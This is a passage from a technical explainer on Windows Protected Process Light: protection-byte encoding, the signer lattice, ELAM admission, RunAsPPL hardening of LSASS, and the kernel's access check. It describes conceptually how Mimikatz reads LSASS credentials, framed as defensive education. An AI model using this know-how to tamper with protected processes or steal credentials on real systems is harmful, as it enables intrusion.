    F1 --&amp;gt; T0[0 = None]
    F1 --&amp;gt; T1[1 = ProtectedLight PPL]
    F1 --&amp;gt; T2[2 = Protected PP]
    F3 --&amp;gt; S0[0 None]
    F3 --&amp;gt; S1[1 Authenticode]
    F3 --&amp;gt; S2[2 CodeGen]
    F3 --&amp;gt; S3[3 Antimalware]
    F3 --&amp;gt; S4[4 Lsa]
    F3 --&amp;gt; S5[5 Windows]
    F3 --&amp;gt; S6[6 WinTcb]
&lt;p&gt;{`
function decodeProtection(byteValue) {
  const type = byteValue &amp;amp; 0x07;
  const audit = (byteValue &amp;gt;&amp;gt; 3) &amp;amp; 0x01;
  const signer = (byteValue &amp;gt;&amp;gt; 4) &amp;amp; 0x0F;
  const typeNames = [&apos;None&apos;, &apos;ProtectedLight&apos;, &apos;Protected&apos;];
  const signerNames = [
    &apos;None&apos;, &apos;Authenticode&apos;, &apos;CodeGen&apos;, &apos;Antimalware&apos;,
    &apos;Lsa&apos;, &apos;Windows&apos;, &apos;WinTcb&apos;, &apos;Max&apos;
  ];
  return {
    raw: &apos;0x&apos; + byteValue.toString(16).padStart(2, &apos;0&apos;),
    type: typeNames[type] || &apos;unknown(&apos; + type + &apos;)&apos;,
    audit: audit ? &apos;on&apos; : &apos;off&apos;,
    signer: signerNames[signer] || &apos;unknown(&apos; + signer + &apos;)&apos;
  };
}&lt;/p&gt;
&lt;p&gt;// Worked examples from real Windows processes
console.log(&apos;MsMpEng.exe (Defender):&apos;, decodeProtection(0x31));
console.log(&apos;lsass.exe under RunAsPPL:&apos;, decodeProtection(0x41));
console.log(&apos;csrss.exe (WinTcb):&apos;, decodeProtection(0x61));
`}&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; One byte, three fields, eight signer rungs. The kernel reads it on every &lt;code&gt;OpenProcess&lt;/code&gt;, before any token check, before any ACL evaluation. The encoding is the entire vocabulary the kernel has for asking &lt;em&gt;how trusted&lt;/em&gt; a process is.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The encoding tells the kernel &lt;em&gt;what kind&lt;/em&gt; of trust a process holds. It says nothing about &lt;em&gt;who can touch whom&lt;/em&gt; across rungs. That rule -- the lattice -- is the structure imposed on top of the bytes. The next section is the lattice.&lt;/p&gt;
&lt;h2&gt;4. The Signer Lattice -- Who Can Open Whom&lt;/h2&gt;
&lt;p&gt;itm4n&apos;s 2021 walkthrough states the three rules verbatim, and they have the rare quality of being short enough to memorise [@itm4n-scrt]:&lt;/p&gt;

A PP can open a PP or a PPL with full access if its signer type is greater or equal. A PPL can open a PPL with full access if its signer type is greater or equal. A PPL cannot open a PP with full access, regardless of its signer type.
&lt;p&gt;Three rules. They settle every cross-process access question PPL gates. Let us name them and then read off their consequences.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rule 1.&lt;/strong&gt; A PP at signer $S_c$ may open with full access a PP or PPL at signer $S_t$ if and only if $S_c \ge S_t$.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rule 2.&lt;/strong&gt; A PPL at signer $S_c$ may open with full access a PPL at signer $S_t$ if and only if $S_c \ge S_t$.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rule 3.&lt;/strong&gt; A PPL cannot open a PP with full access, regardless of signer.&lt;/p&gt;
&lt;p&gt;The qualifier &quot;with full access&quot; is load-bearing. PPL&apos;s lattice gates the &lt;em&gt;full&lt;/em&gt; mask -- &lt;code&gt;PROCESS_VM_READ&lt;/code&gt;, &lt;code&gt;PROCESS_VM_WRITE&lt;/code&gt;, &lt;code&gt;PROCESS_CREATE_THREAD&lt;/code&gt;, &lt;code&gt;PROCESS_DUP_HANDLE&lt;/code&gt;, &lt;code&gt;PROCESS_ALL_ACCESS&lt;/code&gt;. A separate &lt;em&gt;limited&lt;/em&gt; mask (&lt;code&gt;SYNCHRONIZE&lt;/code&gt;, &lt;code&gt;PROCESS_QUERY_LIMITED_INFORMATION&lt;/code&gt;, &lt;code&gt;PROCESS_SET_LIMITED_INFORMATION&lt;/code&gt;, &lt;code&gt;PROCESS_SUSPEND_RESUME&lt;/code&gt;, and -- for callers below the &lt;code&gt;Authenticode&lt;/code&gt;/&lt;code&gt;CodeGen&lt;/code&gt;/&lt;code&gt;Windows&lt;/code&gt; tier -- &lt;code&gt;PROCESS_TERMINATE&lt;/code&gt;) is allowed when the security descriptor permits. The tier matters. Ionescu&apos;s verbatim &lt;code&gt;RtlProtectedAccess[]&lt;/code&gt; table widens the deny mask from &lt;code&gt;0xFC7FE&lt;/code&gt; to &lt;code&gt;0xFC7FF&lt;/code&gt; at the &lt;code&gt;Antimalware&lt;/code&gt;, &lt;code&gt;Lsa&lt;/code&gt;, and &lt;code&gt;WinTcb&lt;/code&gt; rungs -- one extra bit, bit 0, which is &lt;code&gt;PROCESS_TERMINATE&lt;/code&gt; [@ionescu-part2]. So an administrator can still call &lt;code&gt;OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, ...)&lt;/code&gt; against a protected &lt;code&gt;lsass.exe&lt;/code&gt; to enumerate threads, but cannot terminate a &lt;code&gt;PPL/Antimalware&lt;/code&gt;, &lt;code&gt;PPL/Lsa&lt;/code&gt;, or &lt;code&gt;PPL/WinTcb&lt;/code&gt; daemon via a direct kill. The lattice does not lock the process; it locks the &lt;em&gt;interesting&lt;/em&gt; access, and for the top-tier rungs it also locks the kill.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Caller signer \ Target signer&lt;/th&gt;
&lt;th&gt;None&lt;/th&gt;
&lt;th&gt;Authenticode (1)&lt;/th&gt;
&lt;th&gt;Antimalware (3)&lt;/th&gt;
&lt;th&gt;Lsa (4)&lt;/th&gt;
&lt;th&gt;Windows (5)&lt;/th&gt;
&lt;th&gt;WinTcb (6)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;None (admin, integrity SYSTEM)&lt;/td&gt;
&lt;td&gt;full&lt;/td&gt;
&lt;td&gt;denied&lt;/td&gt;
&lt;td&gt;denied&lt;/td&gt;
&lt;td&gt;denied&lt;/td&gt;
&lt;td&gt;denied&lt;/td&gt;
&lt;td&gt;denied&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PPL/Authenticode (1)&lt;/td&gt;
&lt;td&gt;full&lt;/td&gt;
&lt;td&gt;full&lt;/td&gt;
&lt;td&gt;denied&lt;/td&gt;
&lt;td&gt;denied&lt;/td&gt;
&lt;td&gt;denied&lt;/td&gt;
&lt;td&gt;denied&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PPL/Antimalware (3)&lt;/td&gt;
&lt;td&gt;full&lt;/td&gt;
&lt;td&gt;full&lt;/td&gt;
&lt;td&gt;full&lt;/td&gt;
&lt;td&gt;denied&lt;/td&gt;
&lt;td&gt;denied&lt;/td&gt;
&lt;td&gt;denied&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PPL/Lsa (4)&lt;/td&gt;
&lt;td&gt;full&lt;/td&gt;
&lt;td&gt;full&lt;/td&gt;
&lt;td&gt;full&lt;/td&gt;
&lt;td&gt;full&lt;/td&gt;
&lt;td&gt;denied&lt;/td&gt;
&lt;td&gt;denied&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PPL/Windows (5)&lt;/td&gt;
&lt;td&gt;full&lt;/td&gt;
&lt;td&gt;full&lt;/td&gt;
&lt;td&gt;full&lt;/td&gt;
&lt;td&gt;full&lt;/td&gt;
&lt;td&gt;full&lt;/td&gt;
&lt;td&gt;denied&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PPL/WinTcb (6)&lt;/td&gt;
&lt;td&gt;full&lt;/td&gt;
&lt;td&gt;full&lt;/td&gt;
&lt;td&gt;full&lt;/td&gt;
&lt;td&gt;full&lt;/td&gt;
&lt;td&gt;full&lt;/td&gt;
&lt;td&gt;full&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Where &quot;denied&quot; means the &lt;em&gt;full&lt;/em&gt; mask is rejected; the limited mask continues to apply per the target&apos;s security descriptor.&lt;/p&gt;

flowchart BT
    None[None / unprotected]
    Auth[Authenticode]
    CG[CodeGen]
    AM[Antimalware]
    Lsa[Lsa]
    Win[Windows]
    Tcb[WinTcb]
    None --&amp;gt; Auth
    Auth --&amp;gt; CG
    CG --&amp;gt; AM
    AM --&amp;gt; Lsa
    Lsa --&amp;gt; Win
    Win --&amp;gt; Tcb
&lt;p&gt;The Enhanced Key Usage side of the design holds the lattice together. Microsoft&apos;s EKU OID arc &lt;code&gt;1.3.6.1.4.1.311.10.3.*&lt;/code&gt; defines sub-OIDs per signer rung [@iana-pen311] [@oid-base-eku-arc], and at process creation the kernel parses the main image&apos;s Authenticode signature and walks its EKU extensions to determine which rung the binary is entitled to claim. If the certificate chain resolves cleanly to a Microsoft-issued root &lt;em&gt;and&lt;/em&gt; carries the rung&apos;s sub-OID, the kernel records the rung. Otherwise the process either starts unprotected or refuses to start at all.&lt;/p&gt;

An X.509 v3 certificate extension that asserts what specific purposes a certificate is allowed to certify. Microsoft uses sub-OIDs under `1.3.6.1.4.1.311.10.3.*` to encode protected-process signer rungs as EKU values [@iana-pen311] [@oid-base-eku-arc]. The kernel checks the EKU at process creation; the certificate chain anchors which Microsoft-issued sub-CA may issue at each rung.The IANA Private Enterprise Number `311` is registered to Microsoft under the PEN prefix `1.3.6.1.4.1.` [@iana-pen311], so `1.3.6.1.4.1.311.*` is the catch-all namespace for Microsoft-specific X.509 extensions; the `10.3.*` arc within it is the Microsoft Enhanced Key Usage (purpose) sub-tree [@oid-base-eku-arc], and `10.3.` slots map to specific signer purposes including protected-process rungs.
&lt;p&gt;The most important property of this design is the resolution point. The kernel parses the EKU exactly once, at &lt;code&gt;NtCreateUserProcess&lt;/code&gt;. It stores the resulting rung in &lt;code&gt;EPROCESS.Protection&lt;/code&gt;. On every subsequent &lt;code&gt;OpenProcess&lt;/code&gt; against that process, the kernel consults the byte, not the certificate. This makes the access check fast (one byte load, one byte compare) and decouples policy at runtime from policy at signing time. It also creates the structural seam that every public bypass since 2018 has exploited, because the kernel&apos;s confidence in the byte is exactly the confidence it had in the certificate at process-create time, projected forward indefinitely.&lt;/p&gt;
&lt;p&gt;Ionescu&apos;s Part 2 names the implementation directly. The lattice is not code; it is a data table named &lt;code&gt;RtlProtectedAccess[]&lt;/code&gt; baked into &lt;code&gt;ntoskrnl.exe&lt;/code&gt; [@ionescu-part2]. Each row of that table corresponds to a (signer, target-type) pair and encodes which access bits are allowed in the full mask. The relevant runtime routines are &lt;code&gt;PspProcessOpen&lt;/code&gt; and &lt;code&gt;PspThreadOpen&lt;/code&gt; (the object-manager open callbacks), &lt;code&gt;PspCheckForInvalidAccessByProtection&lt;/code&gt; (which performs the check), &lt;code&gt;RtlTestProtectedAccess&lt;/code&gt; (which applies the lattice row), and &lt;code&gt;RtlValidProtectionLevel&lt;/code&gt; (which sanity-checks the encoded byte for consistency).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The decision of who can touch whom is encoded in a table inside &lt;code&gt;ntoskrnl.exe&lt;/code&gt;. Changing the lattice means changing a table; widening or narrowing it does not require new code. This is why Microsoft can add &lt;code&gt;App = 8&lt;/code&gt; to the enumeration over time without touching the access-check routine.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Note one symmetry that becomes important later. &quot;Greater or equal&quot; means that within a rung, every PPL can read every other PPL. Two co-resident &lt;code&gt;PPL/Antimalware&lt;/code&gt; daemons -- Microsoft Defender&apos;s &lt;code&gt;MsMpEng.exe&lt;/code&gt; and a third-party EDR&apos;s agent -- can call &lt;code&gt;PROCESS_VM_READ&lt;/code&gt; on each other. Within-rung peers leak to each other by design. The lattice prevents &lt;em&gt;escalation&lt;/em&gt;, not &lt;em&gt;peer access&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;The lattice settles the rule. The next question is admission: who decides which binaries are allowed to claim the Antimalware rung, and how does Microsoft admit third-party code into it at all? The answer is a driver.&lt;/p&gt;
&lt;h2&gt;5. The Antimalware Rung -- ELAM and Third-Party Code at PPL&lt;/h2&gt;
&lt;p&gt;PPL is interesting only if it admits non-Microsoft code at &lt;em&gt;some&lt;/em&gt; rung. The Vista PP design admitted nobody; it required a Microsoft PMP root certificate, full stop. PPL inherited that constraint at every rung except one. The Antimalware rung -- signer value &lt;code&gt;3&lt;/code&gt; -- is the only rung where third-party vendors can ship their own user-mode binaries as protected processes. The admission mechanism is the Early Launch Anti-Malware driver.&lt;/p&gt;

A specially signed Microsoft-certified kernel driver shipped by an anti-malware vendor that loads before any other boot-start driver. The ELAM driver participates in trusted-boot measurement, vouches for follow-on drivers, and -- critical to PPL -- carries an embedded resource section enumerating the vendor&apos;s user-mode signing certificate hashes. The kernel uses that resource section to admit the vendor&apos;s user-mode daemon binaries to `PPL/Antimalware` at service start.
&lt;p&gt;Microsoft Learn&apos;s &quot;Protecting Anti-Malware Services&quot; page describes the boot-time admission flow in two sentences [@learn-am-services]:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The driver must have an embedded resource section containing the information of the certificates used to sign the user mode service binaries. During the boot process, this resource section will be extracted from the ELAM driver to validate the certificate information and register the anti-malware service.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Two consequences. First, the third-party signer set is bounded by a &lt;em&gt;kernel-readable resource section&lt;/em&gt;, not by an open EKU. Microsoft, not the vendor, controls which user-mode binaries are admissible. Second, the certificate hashes are baked into the driver at signing time and re-validated at every service start. A vendor cannot widen the admissible set after the fact; an attacker cannot drop in their own user-mode binary unless its hash is already listed.&lt;/p&gt;
&lt;p&gt;The gate that decides which vendors get ELAM drivers in the first place is the Microsoft Virus Initiative. Microsoft Learn&apos;s MVI criteria page enumerates the requirement explicitly [@learn-mvi]:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Your security solution must be certified within the last 12 months by at least one of the organizations listed below: AV-Comparatives, AVLab Cybersecurity Foundation, AV-Test, MRG Effitas, SE Labs, SKD Labs, VB 100, West Coast Labs.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The same page requires &quot;use of Trusted Signing,&quot; Microsoft&apos;s cloud-managed code signing service. The implications are operational. To ship code at &lt;code&gt;PPL/Antimalware&lt;/code&gt;, a vendor must (a) hold MVI membership, (b) maintain independent-lab certification, (c) author an ELAM driver, (d) get the driver through Microsoft WHQL and have it Microsoft co-signed, and (e) embed the user-mode certificate hashes in the driver&apos;s resource section.&lt;/p&gt;

A Microsoft program for anti-malware vendors that gates access to ELAM driver signing and to specific Defender APIs. Membership requires independent-lab certification (renewed annually) and Trusted Signing usage; in practical terms, MVI membership is the entry ticket to deploying user-mode binaries at `PPL/Antimalware`.

The implication of MVI is that an indie security tool, however technically sound, cannot deploy as `PPL/Antimalware`. The gate is not technical but commercial: independent-lab certification fees, annual renewals, and the engineering investment of building a production-grade ELAM driver. The signer rung is *signed*; the signing program is *gated*.

sequenceDiagram
    participant BM as Boot manager
    participant K as Windows kernel
    participant ELAM as Vendor ELAM driver (.sys)
    participant SCM as Service Control Manager
    participant CI as ci.dll (CodeIntegrity)
    participant Svc as Vendor service (e.g. EDR daemon)
    BM-&amp;gt;&amp;gt;K: load boot drivers
    K-&amp;gt;&amp;gt;ELAM: load ELAM driver early
    K-&amp;gt;&amp;gt;ELAM: read embedded ELAM resource section
    K-&amp;gt;&amp;gt;K: cache vendor user-mode cert hashes
    Note over K,SCM: Boot continues, OS initialises
    SCM-&amp;gt;&amp;gt;Svc: start vendor service
    Svc-&amp;gt;&amp;gt;CI: validate service binary signature
    CI-&amp;gt;&amp;gt;K: lookup vendor cert against cached hashes
    K--&amp;gt;&amp;gt;CI: match -- admit at PPL/Antimalware
    CI--&amp;gt;&amp;gt;Svc: launch as PPL/Antimalware (Protection = 0x31)
&lt;p&gt;By 2024, every major commercial EDR ships through this path. Microsoft Defender&apos;s &lt;code&gt;MsMpEng.exe&lt;/code&gt; uses the inbox &lt;code&gt;WdBoot.sys&lt;/code&gt; ELAM driver&lt;code&gt;WdBoot.sys&lt;/code&gt; (&quot;Windows Defender Boot Driver&quot;) is Microsoft&apos;s inbox first-party ELAM driver; it ships in every Windows install and is loaded before any third-party ELAM driver. The canonical reference implementation of the ELAM resource-section pattern is Microsoft&apos;s &lt;code&gt;Windows-driver-samples/security/elam&lt;/code&gt; repository [@ms-elam-sample], which also documents the Early Launch EKU &lt;code&gt;1.3.6.1.4.1.311.61.4.1&lt;/code&gt; verbatim.. Third-party members of Microsoft&apos;s Virus Initiative -- the cohort gated by the MVI criteria quoted above [@learn-mvi] -- ship their own vendor ELAM drivers and run their main user-mode daemons at &lt;code&gt;PPL/Antimalware&lt;/code&gt;. Microsoft Learn&apos;s &quot;Early Launch Antimalware&quot; page is the canonical confirmation [@learn-elam]:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Because an ELAM service runs as a PPL (Protected Process Light), you need to debug using a kernel debugger.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;One Microsoft-signed sentence and a billion endpoints. EDR vendors get protection against administrator-level tampering for free, on top of the kernel telemetry their drivers already collect. Microsoft gets a viable third-party security market without widening the EKU gates beyond a controllable set of vendors.&lt;/p&gt;
&lt;p&gt;ELAM admits the &lt;em&gt;daemon&lt;/em&gt;. The next operational question is what Microsoft does for &lt;code&gt;lsass.exe&lt;/code&gt; itself -- the canonical credential store, the original Mimikatz target. The mechanism is called &lt;code&gt;RunAsPPL&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;6. RunAsPPL -- Hardening LSASS&lt;/h2&gt;
&lt;p&gt;The registry value that produced the Mimikatz failure in Section 1 is a single DWORD. itm4n&apos;s walkthrough names it verbatim [@itm4n-runasppl]:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Open the key &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\Lsa&lt;/code&gt;; add the DWORD value &lt;code&gt;RunAsPPL&lt;/code&gt; and set it to 1; reboot.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;After reboot, &lt;code&gt;lsass.exe&lt;/code&gt; launches at &lt;code&gt;PPL/Lsa&lt;/code&gt;, signer rung 4, protection byte &lt;code&gt;0x41&lt;/code&gt;. Mimikatz running with full SYSTEM-integrity and &lt;code&gt;SeDebugPrivilege&lt;/code&gt; then receives &lt;code&gt;0x00000005&lt;/code&gt; on &lt;code&gt;OpenProcess(PROCESS_VM_READ, lsass.exe)&lt;/code&gt;. The registry knob is one DWORD; the consequences are large.&lt;/p&gt;

The Windows user-mode process that holds NTLM password hashes, Kerberos Ticket Granting Tickets, MSV1_0 credential caches, DPAPI master keys, and (on legacy builds before Microsoft&apos;s 2014 KB2871997 update [@ms-kb2871997]) WDigest plaintext passwords. The canonical target of credential-theft tooling since 2011.
&lt;p&gt;The threat being mitigated is simple. Mimikatz reads LSASS memory via &lt;code&gt;OpenProcess(PROCESS_VM_READ, lsass.exe)&lt;/code&gt;, walks the internal key-store structures, and extracts NTLM hashes, Kerberos session keys, and (on older configurations) cached plaintext. Restricting &lt;code&gt;SeDebugPrivilege&lt;/code&gt; does not work, because an attacker with SYSTEM has every privilege. Restricting the security descriptor on &lt;code&gt;lsass.exe&lt;/code&gt; does not work either, because legitimate services need to interact with it. PPL is the right primitive: it gates the &lt;em&gt;full&lt;/em&gt; mask irrespective of token state, and the kernel admits only Microsoft-signed code into the &lt;code&gt;Lsa&lt;/code&gt; rung.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;RunAsPPL = 1&lt;/code&gt; is the stronger form of the setting on Secure Boot-capable machines. On the next boot, the kernel automatically mirrors the policy into a Secure Boot-anchored UEFI variable; once set, the protection survives registry rollback. An attacker who removes the registry key finds that LSASS still launches as PPL on the next boot. The only path to remove the protection is to disable Secure Boot at the firmware level, which requires physical access and which trips other defences. Microsoft Learn&apos;s documentation describes it verbatim [@learn-runasppl]:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;You can achieve further protection when you use Unified Extensible Firmware Interface (UEFI) lock and Secure Boot. When these settings are enabled, disabling the &lt;code&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa&lt;/code&gt; registry key has no effect.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is &lt;code&gt;RunAsPPL = 1&lt;/code&gt;. For environments that need admin-removable protection without the UEFI lock, &lt;code&gt;RunAsPPL = 2&lt;/code&gt; (available on Win11 22H2 and later) omits the UEFI variable. The policy lives in the registry only and is removable by any administrator (or by malware running as administrator) who simply deletes the registry value before reboot.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;code&gt;RunAsPPL&lt;/code&gt; value&lt;/th&gt;
&lt;th&gt;Behaviour&lt;/th&gt;
&lt;th&gt;Removable by?&lt;/th&gt;
&lt;th&gt;Persistence&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0&lt;/code&gt; (or absent)&lt;/td&gt;
&lt;td&gt;LSASS runs unprotected&lt;/td&gt;
&lt;td&gt;n/a&lt;/td&gt;
&lt;td&gt;none&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;LSASS runs as PPL/Lsa; policy mirrored to UEFI variable on Secure Boot machines&lt;/td&gt;
&lt;td&gt;Physical access + Secure Boot disable&lt;/td&gt;
&lt;td&gt;Firmware-anchored&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;LSASS runs as PPL/Lsa; registry only (Win11 22H2+ only)&lt;/td&gt;
&lt;td&gt;Any admin who deletes the key&lt;/td&gt;
&lt;td&gt;Registry only&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The &lt;code&gt;RunAsPPL = 1&lt;/code&gt; setting is the practical answer to &quot;what stops an attacker who is willing to reboot?&quot; Once the UEFI variable is set, neither registry rollback nor PE-based offline attacks on the registry hive can disable LSA protection on the next boot.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The deployment cost of &lt;code&gt;RunAsPPL&lt;/code&gt; is compatibility with third-party authentication modules. LSASS hosts a set of plug-ins: smart-card middleware, third-party Cryptographic Service Providers (CSPs), password-filter DLLs, alternative authentication packages. Under &lt;code&gt;RunAsPPL&lt;/code&gt;, the kernel demands that every DLL loaded into LSASS be Microsoft-signed at the LSA level (signer rung 4). Vendor DLLs that lack the right EKU are rejected at section creation. The rejections surface as CodeIntegrity events in the system event log. Microsoft Learn enumerates the two relevant event IDs [@learn-runasppl]:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Event 3065 occurs when a code integrity check determines that a process, usually LSASS.exe, attempts to load a driver that doesn&apos;t meet the security requirements for shared sections.&lt;/p&gt;
&lt;p&gt;Event 3066 occurs when a code integrity check determines that a process, usually LSASS.exe, attempts to load a driver that doesn&apos;t meet the Microsoft signing level requirements.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is why Microsoft recommends running the setting in &lt;em&gt;audit mode&lt;/em&gt; before enforcement. Audit mode is enabled by setting a separate &lt;code&gt;AuditLevel&lt;/code&gt; DWORD to &lt;code&gt;8&lt;/code&gt;, but -- critically -- under a &lt;em&gt;different&lt;/em&gt; registry key from the one that hosts &lt;code&gt;RunAsPPL&lt;/code&gt;. Microsoft Learn places &lt;code&gt;AuditLevel&lt;/code&gt; under the Image File Execution Options hive for &lt;code&gt;LSASS.exe&lt;/code&gt; and names the path verbatim [@learn-runasppl]:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Open the Registry Editor, or enter RegEdit.exe in the Run dialog, and then go to the &lt;code&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe&lt;/code&gt; registry key. Open the &lt;code&gt;AuditLevel&lt;/code&gt; value. Set its data type to &lt;code&gt;dword&lt;/code&gt; and its data value to &lt;code&gt;00000008&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &lt;code&gt;RunAsPPL&lt;/code&gt; sits under &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\Lsa&lt;/code&gt;. &lt;code&gt;AuditLevel = 8&lt;/code&gt; sits under &lt;code&gt;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe&lt;/code&gt;. A defender who edits &quot;the same key&quot; silently sets the wrong value and audit mode never engages. The deployment looks correct from the registry; the log surface is empty; the rollout breaks production on enforcement day. Two values. Two hives. Read this twice.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In audit mode, the kernel emits the same 3065 / 3066 events for would-be load rejections but allows the loads to proceed. Two months of audit-mode telemetry typically surfaces every smart-card middleware DLL, every password-filter, every third-party CSP on a corporate fleet. Once the audit log is clean (every vendor&apos;s modules have been re-signed at the LSA level or replaced), enforcement mode can be turned on without breaking production logins.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Skipping audit mode is the most common cause of LSA protection rollouts being rolled back after a wave of authentication failures. See §11 Item 1 for the full audit-then-enforce-then-UEFI-lock recipe.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The deployment cadence has been deliberately glacial. &lt;code&gt;RunAsPPL&lt;/code&gt; shipped in Windows 8.1 in October 2013 -- &lt;em&gt;opt-in&lt;/em&gt;. It remained opt-in for nine years. Microsoft Learn records the inflection [@learn-runasppl]:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Audit mode for added LSA protection is enabled by default on devices running Windows 11 version 22H2 and later.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Audit mode default-on. Not enforcement. The Windows 11 24H2 release expanded the audit-mode rollout further. Eleven years from opt-in to effective default. The pace reflects the compatibility risk: every domain with a single non-Microsoft-signed LSASS plug-in would have surfaced as a support call.&lt;/p&gt;
&lt;p&gt;The registry knob is simple. The &lt;em&gt;kernel&lt;/em&gt; check that enforces it is not. The next section walks the access-check pipeline in detail, because the structural reason &lt;code&gt;SeDebugPrivilege&lt;/code&gt; cannot help an attacker is the order in which the kernel asks its questions.&lt;/p&gt;
&lt;h2&gt;7. The Kernel Access Check -- What Happens Inside &lt;code&gt;NtOpenProcess&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Recall the trace from Section 1. The denial happens before &lt;code&gt;SeAccessCheck&lt;/code&gt; runs. The reason &lt;code&gt;SeDebugPrivilege&lt;/code&gt; does not help is not that the kernel decided to override the privilege; it is that the kernel never asked about the privilege. The order matters. Let us walk it.&lt;/p&gt;
&lt;p&gt;The Win32 caller invokes &lt;code&gt;OpenProcess&lt;/code&gt;, which thunks through &lt;code&gt;kernel32.dll&lt;/code&gt; to the syscall &lt;code&gt;NtOpenProcess&lt;/code&gt;. &lt;code&gt;NtOpenProcess&lt;/code&gt; does its handle-lookup and dispatches to the process-type object-manager open callback, &lt;code&gt;PspProcessOpen&lt;/code&gt;. Ionescu&apos;s Part 2 names the path verbatim [@ionescu-part2]:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Access to protected processes (and their threads) is gated by the &lt;code&gt;PspProcessOpen&lt;/code&gt; and &lt;code&gt;PspThreadOpen&lt;/code&gt; object manager callback routines, which perform two checks. The first, done by calling &lt;code&gt;PspCheckForInvalidAccessByProtection&lt;/code&gt; (which in turn calls &lt;code&gt;RtlTestProtectedAccess&lt;/code&gt; and &lt;code&gt;RtlValidProtectionLevel&lt;/code&gt;) ...&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;PspCheckForInvalidAccessByProtection&lt;/code&gt; does two things. First, it splits the caller&apos;s requested access mask into two subsets:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;strong&gt;limited mask&lt;/strong&gt; -- a fixed set of bits (&lt;code&gt;SYNCHRONIZE&lt;/code&gt;, &lt;code&gt;PROCESS_QUERY_LIMITED_INFORMATION&lt;/code&gt;, and a small handful of others) that the lattice never forbids. The limited mask is subject only to the standard &lt;code&gt;SeAccessCheck&lt;/code&gt; against the target&apos;s DACL.&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;full mask&lt;/strong&gt; -- everything else, including &lt;code&gt;PROCESS_VM_READ&lt;/code&gt;, &lt;code&gt;PROCESS_VM_WRITE&lt;/code&gt;, &lt;code&gt;PROCESS_CREATE_THREAD&lt;/code&gt;, &lt;code&gt;PROCESS_DUP_HANDLE&lt;/code&gt;, and &lt;code&gt;PROCESS_ALL_ACCESS&lt;/code&gt;. The full mask is subject to the lattice rule.&lt;/li&gt;
&lt;/ul&gt;

